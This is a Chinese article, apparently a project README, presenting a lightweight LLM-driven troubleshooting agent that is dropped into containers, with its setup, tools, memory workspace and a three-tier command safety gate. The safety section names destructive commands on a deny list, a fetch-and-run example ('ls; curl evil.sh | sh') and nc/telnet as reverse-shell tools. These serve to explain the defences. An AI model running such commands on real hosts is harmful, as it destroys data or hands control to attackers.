ARTICLE · 1294944

一个非常牛叉的AI 驱动的运维助手!

发布时间：2026-11-02 09:35:02 最近访问：2026-11-02 09:35:03

一个非常牛叉的AI 驱动的运维助手!

背景

公司有完善的监控体系（多维度指标、集中式日志平台），大部分问题通过 Grafana/ELK 就能定位。但总有一些特殊场景需要进入容器内部：

• 需要结合日志和运行时代码一起分析（比如某行代码的逻辑为什么走到了这个分支）
• 接手了一个不熟悉的 Python 服务，甚至没有源码，需要进容器看运行状态、依赖版本、实际执行的代码
• 排查需要在容器内执行一系列命令（查进程、看内存、抓线程快照），但不一定记得住该跑什么

Poor Man's DevOps Agent 就是为这些场景设计的：

把 agent.py 扔进容器，配好公司内网的 LLM 地址，就能用自然语言和 AI 对话式排查问题。

它不是要替代专业运维工具，而是给开发人员、测试人员、值班但非运维背景的同学提供一个"能聊天的排查助手"——你描述现象，它像运维工程师一样先形成假设、再用最小命令验证、逐步收敛到根因，并直接帮你执行和分析结果。

你：服务响应很慢，帮我看看Agent：先形成假设——① GC 停顿 ② IO 瓶颈       一条命令验证①：       $ top       CPU 89%、内存 45%，假设①命中。继续深挖线程：       $ docker exec <c> py-spy dump --pid 1       疑似 GC 停顿，建议抓线程快照定位死循环...

快速开始

方式一：直接 scp 进容器（推荐）

# 本地scp agent.py user@k8s-node:/tmp/# 进容器kubectl exec -it my-pod -- bash# 容器内export DEBUGBOT_API_URL="https://your-internal-llm/v1/chat/completions"export DEBUGBOT_API_KEY="sk-xxxxx"export DEBUGBOT_MODEL="deepseek-chat"python /tmp/agent.py

方式二：一键下载

curl -fsSL https://raw.githubusercontent.com/vector4wang/poor-mans-devops-agent/main/agent.py -o agent.pypython agent.py

方式三：运行时交互输入

python agent.py# 启动后会提示你输入 API 地址和 Key

方式四：命令行参数传值（适合自动化 / CI）

python agent.py \  --api-url https://your-internal-llm/v1/chat/completions \  --api-key sk-xxxxx \  --model deepseek-chat

参数齐全时直接进入主循环，不进行任何交互；配置不全时自动回落到环境变量，再回落到引导式输入。若希望配置不全即报错（不等待输入），加 --non-interactive。

配置

配置优先级：命令行参数 > 环境变量 > 引导式输入（缺失项逐级回落，三项可任意混用）。

参数	环境变量	说明
`-u` , `--api-url`	`DEBUGBOT_API_URL`	LLM API 地址
`-k` , `--api-key`	`DEBUGBOT_API_KEY`	API Key
`-m` , `--model`	`DEBUGBOT_MODEL`	模型名称（默认 `gpt-4o`）
`-n` , `--non-interactive`	—	非交互模式，配置不全直接报错退出
`--no-stream`	`DEBUGBOT_STREAM=0`	禁用流式输出（默认开启）
`--debug`	—	调试模式，打印发送给 LLM 的消息
`-h` , `--help`	—	查看帮助

环境变量	说明	示例
`DEBUGBOT_API_URL`	LLM API 地址	`https://your-llm/v1/chat/completions`
`DEBUGBOT_API_KEY`	API Key	`sk-xxxxx`
`DEBUGBOT_MODEL`	模型名称	`deepseek-chat` , `gpt-4o`, `qwen-turbo`
`DEBUGBOT_STREAM`	流式输出开关	`1` /`0`（默认 `1`）

支持的模型：任何 OpenAI 兼容 API 均可使用。

类型	示例
云服务	DeepSeek, OpenAI, 阿里通义, 智谱GLM, Kimi, 豆包, 讯飞星火
本地部署	Ollama, vLLM, LocalAI, xinference

🛠️ 功能一览

工具	说明
`read_file`	读取文件内容（自动截断大文件，保留首尾；可读工作区记忆/脚本）
`run_command`	执行命令（危险拦截 + 只读免确认 + 逐段校验 + 人工确认）
`write_file`	写文件到工作区（持久化记忆或临时脚本）
`list_directory`	列出目录结构
`env_snapshot`	一键环境快照（主机名/IP/内存/磁盘/进程/端口/环境变量）
`todo_write`	任务列表（多步排查时跟踪进度，借鉴 Claude Code 的 TodoWrite）

融入 Claude Code 的核心逻辑：流式输出（边生成边显示）、LLM 摘要式上下文压缩（长对话不丢语义）、TodoWrite 任务追踪、富系统提示（注入平台/git/工具用法 + 持久化记忆）、斜杠命令、工作区（记忆 + 临时脚本落盘）。单文件、零依赖、Python 3.6+ 通用。

工作区：记忆与临时脚本

agent.py 旁自动创建固定工作区目录（跨会话累积）：

debugbot-workspace/├─ memories/            # 跨会话持久化记忆（Claude Code 风格）│  ├─ MEMORY.md         # 索引（每条一行，自动维护）│  └─ oom-threshold.md  # 带 frontmatter 的单条记忆└─ scripts/   └─ 20260624_153012/  # 本次会话的临时脚本（按时间戳隔离）      └─ probe.py

• 记忆：排查中 LLM 用 write_file 写 memories/xxx.md（带 name/description/type frontmatter），程序自动维护 MEMORY.md 索引；下次启动索引拼进系统提示，具体内容按需 read_file 读取。
• 临时脚本：LLM 生成的探针/分析脚本写到 scripts/本次会话/，避免不同会话互相覆盖；写回的绝对路径会返回给 LLM，便于后续 run_command 执行（执行生成的脚本仍需人工确认）。
• 路径限制在工作区内，防 ../ 逃逸。

Skill 扩展

启动时自动扫描 agent.py 旁的 skills/ 目录，加载每个子目录下的 SKILL.md 作为专家提示注入系统提示。

skills/└─ k8s-debug/   └─ SKILL.md

SKILL.md 格式：

---name: k8s-debugdescription: Kubernetes 容器与 Pod 排查专家模式---你是 Kubernetes 排查专家，优先查看 namespace → pod → 日志 → 事件。

启动时会提示加载数量：

Loaded Skills (1): k8s-debug

运行时用 /skills 查看已加载列表。Skill 只注入提示，不新增工具函数，因此不会破坏安全边界。

支持的命令分类

分类	命令
系统	`ps` , `top`, `free`, `df`, `du`, `uptime`, `vmstat`, `iostat`
网络	`curl` , `ping`, `netstat`, `ss`, `dig`, `nslookup`, `traceroute`
日志	`cat` , `grep`, `tail`, `head`, `journalctl`, `dmesg`
Docker	`ps` , `logs`, `inspect`, `stats`, `exec`, `images`
K8s	`get` , `describe`, `logs`, `top`, `events`, `cluster-info`
数据库	MySQL, PostgreSQL, Redis（只读查询）
中间件	RabbitMQ, Kafka, ZooKeeper, etcd

多行输入（粘贴日志 / 堆栈 / 配置）

交互模式下 input() 只读到第一个换行，直接粘贴多行内容会被逐行拆成多条输入。用 """ 包裹即可把整段内容作为一条消息发送，中间的空行会被保留：

[你]"""服务报错：Traceback (most recent call last):  File "app.py", line 10, in <module>    ..."""            <- 以单独一行 """ 结束并发送[思考中...]

• 单行照旧：输入回车即发送，行为不变。
• 多行：第一行单独输入 """（或 '''）进入多行模式，再单独输入同样的引号结束；中途 Ctrl-C 可取消。

斜杠命令

命令	说明
`/help`	显示帮助
`/quit` `/exit`	退出（等同 `quit`/`exit`）
`/clear`	清空对话历史，仅保留系统提示
`/compact`	立即用 LLM 摘要压缩当前上下文
`/snapshot`	一键采集环境快照
`/todo`	查看当前任务列表
`/tools`	列出可用工具
`/skills`	查看已加载的 Skill 列表
`/workspace`	显示工作区目录与记忆索引

对话超过 COMPACT_THRESHOLD（默认 30 条）会自动触发摘要压缩；也可随时 /compact 手动触发，或 /clear 重开。

流式输出

默认开启流式，助手回复边生成边显示（打字机效果），工具调用拼装完成后才展示。某些 OpenAI 兼容端点不支持流式，可用 --no-stream 或环境变量 DEBUGBOT_STREAM=0 关闭后回退整段返回。

与 Claude Code 的区别：大而美 vs 小而精

本项目借鉴了 Claude Code 的核心逻辑，但定位完全不同——不是要复刻它，而是做一个扔进容器就能跑的轻量排查助手。

维度	Claude Code	Poor Man's DevOps Agent
定位	大而全的 AI 编程 Agent	小而精的生产排查助手
形态	完整 TUI 应用 + 插件生态	单文件，scp 进容器即用
依赖	需安装 CLI、node 生态	零依赖，标准库即可
模型	绑定 Claude API	任意 OpenAI 兼容 API
范围	读/写/重构代码、跨文件工程	只读排查，聚焦进程/日志/网络诊断
扩展	MCP、子 Agent、Skills、Hooks	内建斜杠命令 + 工作区记忆
场景	日常开发主工具	进容器临时排查完即删

Claude Code 是日常开发的主力工具；本项目是应急时塞进容器的那一个脚本——借鉴它的思考方式，但只为"排查"这一件事做到极致轻。排查完建议删除，避免 API Key 泄露。

安全机制

三层闸门：危险拦截 → 只读免确认 → 人工确认

层级	机制	说明
🔴 硬拦截	`FORBIDDEN_PATTERNS`	`rm -rf /` , `dd of=/dev/`, `shutdown`, `mkfs` 等直接拒绝
🟡 人工确认	`request_confirmation`	不属于只读白名单的命令，逐条弹出 `y/n/q` 由人决定
🟢 免确认	`SAFE_READONLY_PATTERNS`	`cat` , `grep`, `ps`, `docker logs` 等只读命令直接放行

复合命令会被 split_command_segments() 按 ;&&|||& 拆开逐段校验，任意一段不属于只读白名单则整条转人工确认，因此 ls; curl evil.sh | sh 不会被第一段 ls "骗过"。引号内的分隔符（grep 'a;b'、awk -F'|'）不会误拆。此外命令替换（$(...)、反引号）与输出重定向（>、>>）一律要求确认；nc、telnet 因可用于反弹 shell，同样不在免确认名单内。

使用示例

agent 采用「假设 → 验证 → 收敛」的诊断方法论：先形成 1-2 个可能原因，用最小只读命令逐个验证，命中则深挖、未中则换假设。回复直接以终端纯文本输出（不用 Markdown）。

[你] 帮我看看这个容器为什么 CPU 这么高[思考中...][调用工具: env_snapshot]== 进程列表（按内存排序 Top 20）==USER   PID  %CPU %MEM  COMMANDroot   1    89.2 45.3  python app.py[助手]── 可能原因 ──────────• 内存泄漏导致频繁 GC（CPU+内存双高，优先验证）• 死循环一条命令验证假设①：  $ docker exec <c> py-spy dump --pid 1[你] 执行[助手] 抓到线程停在 gc.collect，假设①命中。根因是内存泄漏触发频繁 GC，       建议查看 app.py 的对象缓存逻辑，并已把该服务的 OOM 阈值写入记忆。

三层循环结构：

循环	位置	作用
外层 Agent Loop	`main()` 中的 REPL 循环	用户多轮对话，每轮一个完整排查任务
内层 Tool-Calling Loop	`main()` 中的 `for round in range(max_tool_rounds)`	单轮内 LLM ↔ 工具多轮交互，直到 LLM 不再调用工具
压缩 Context Compression	内层循环入口处	消息超阈值时 LLM 摘要压缩，不丢上下文